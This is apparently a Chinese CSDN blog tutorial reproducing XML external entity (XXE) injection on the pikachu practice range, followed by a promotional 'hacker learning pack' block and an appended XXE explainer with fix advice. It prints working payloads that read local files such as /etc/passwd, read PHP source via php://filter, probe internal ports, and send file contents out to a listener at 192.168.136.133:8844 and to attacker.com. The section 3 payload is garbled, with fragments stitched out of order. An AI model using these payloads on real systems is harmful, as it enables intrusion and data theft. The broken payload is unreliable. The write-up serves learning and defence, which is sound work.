XXE漏洞复现,零基础入门到精通,收藏这篇就够了

  XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)内网扫描等危害

在本篇 文章中我们使用pikachu靶场实现XXE漏洞复现

1.POC:攻击测试

  在这里,我们先尝试用xml语言定义一个实体,并将其内容定义为“仙男”,然后进行调用,具体的代码如下
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙男" > ]>
<foo>&xxe;</foo>
  输入后点击提交,发现我们定义的实体内容直接显示在页面上

2.EXP:查看文件

  xml漏洞还可以让攻击者直接查看网站所有者计算机中的文件,在这里我们利用file协议去读取一下位于C盘下的1.txt文件内容,具体代码如下
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/1.txt" > ]><foo>&xxe;</foo>

输入后点击提交出现如下页面

3.EXP:查看源码

  这一次,我们要查看pikachu靶场下一个文件的源代码,但若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析,所以在这里我们可以使用php://filter/read=convert.base64-encode/resource=,将我们获取到的信息先进行base64编码,再将其输出,具体代码如下,(为了举例子,在这里我们仍然查看c盘下的1.txt)
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
<?xml version="1.0"?>"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">  %remote;
%send;]>
  输入后出现如下页面

  将其base64解码后即可获得1.txt内容

4.EXP:DTD外部调用

  xml漏洞还可以利用dtd文件,从外部调用并查看文件,首先将想要查看的文件写到dtd文件中并保存到web根目录下,与pikachu靶场同级

  然后在输入框中输入如下代码,去定义一个参数实体,内容指向我们web目录下的ooo.dtd文件,然后在最后进行调用
<!DOCTYPE foo
[<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1/ooo.dtd" >
%xxe;
]>
<foo>&evil;</foo>
  点击提交后出现如下页面

5.EXP:探测内网存活主机与开放端口

  利用xml漏洞,我们还可以查看内网中存活的主机以及其开放的端口,具体代码如下
<?xml version="1.0" encoding="UTF-8"?>  <!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80"> ]>
<x>&rabbit;</x>
  这里是查看我们的80端口是否开放,如果开放则会立马加载完成页面,如果没开放则会加载一段时间后才恢复正常

6.EXP:无回显探测

  上面的文件查看等操作都是在页面有回显的前提下进行的,在这里我们进行一下无回显探测,我们需要用到kali虚拟机。先确保物理机与虚拟机可以连接,然后在kali中开启任意一个端口的监听,这里,我们开启8844端口监听

  然后在我们的web根目录下创建一个dtd文件,用于外部调用,ooo.dtd文件的内容如下
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
  这里的url填写虚拟机的ip以及我们监听的端口,然后在c盘下创建一个1.txt文件,我这里的内容为1231![](https://i-blog.csdnimg.cn/direct/4806c5cc59e24596a799d14a207e46ef.png)

  然后构造我们要在输入框中提交的代码,具体代码如下
<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://192.168.136.133/ooo.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">    %remote;    
%send;]>
  提交后当页面开始加载时,就可以去看虚拟机监听结果了

  ![](https://i-blog.csdnimg.cn/direct/00cb92637d744c92859c26b592621ae4.png)

  问号后面的内容就是1.txt中的内容经过base64编码后的内容

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

### XXE(XML External Entity)漏洞复现步骤及利用示例 XXE(XML External Entity)漏洞通常出现在应用程序解析 XML 输入时,未正确处理外部实体引用,从而导致潜在的敏感数据泄露、服务器端请求伪造(SSRF)等攻击。以下是复现 XXE 漏洞的典型步骤及利用示例。 #### 1. 漏洞复现环境搭建 为了复现 XXE 漏洞,需准备一个能解析 XML 并支持外部实体的解析器。例如,使用 Python 的 `xml.etree.ElementTree` 或 Java 的 `DocumentBuilderFactory` 等库。搭建一个简单的 Web 应用,接收 XML 输入并解析。 #### 2. 基础 XXE 利用示例 最基本的 XXE 攻击是通过定义外部实体读取本地文件。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ``` 当服务端解析该 XML 时,会读取 `/etc/passwd` 文件内容,并可能将其返回给攻击者[^4]。 #### 3. 带外数据(OOB)利用方式 在某些情况下,服务器不会直接返回解析结果,此时可以通过带外数据(Out-of-Band)方式将数据发送到攻击者控制的服务器。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://attacker.com/xxe?data=%file;"> %remote; ]> <root/> ``` 该 payload 会尝试读取 `/etc/passwd` 文件,并将其作为参数发送到攻击者控制的 `http://attacker.com/xxe`,从而实现数据窃取[^4]。 #### 4. XXE 目录遍历攻击 通过 XXE 漏洞,还可以尝试列出服务器上的目录内容。虽然实际中受限于文件系统权限,但理论上可以构造如下 payload: ```xml <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/"> <!ENTITY % eval "<!ENTITY % directory SYSTEM 'file:///%file;'>"> %eval; %directory; ]> <test>&directory;</test> ``` 此 payload 会尝试读取 `/etc/` 目录内容,并通过外部实体将其内容外带[^1]。 #### 5. XXE 与 SSRF 结合攻击 XXE 还可用于 SSRF(Server Side Request Forgery)攻击,访问内网资源或远程服务器。例如: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/internal-api"> ]> <root>&xxe;</root> ``` 此 payload 会向本地 `8080` 端口发起请求,获取内网服务的响应内容[^4]。 #### 6. XXE 修复建议 为了防止 XXE 漏洞,建议采取以下措施: - **禁用外部实体解析**:在 XML 解析器中禁用 DTD(Document Type Definitions)和外部实体。 - **使用安全的解析库**:避免使用易受攻击的 XML 解析器,改用 JSON 等更安全的数据格式。 - **输入验证与过滤**:对用户输入进行严格验证,拒绝包含 XML 特殊字符的输入。 - **最小权限原则**:确保运行 XML 解析器的进程使用最小权限账户,防止攻击者读取敏感文件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值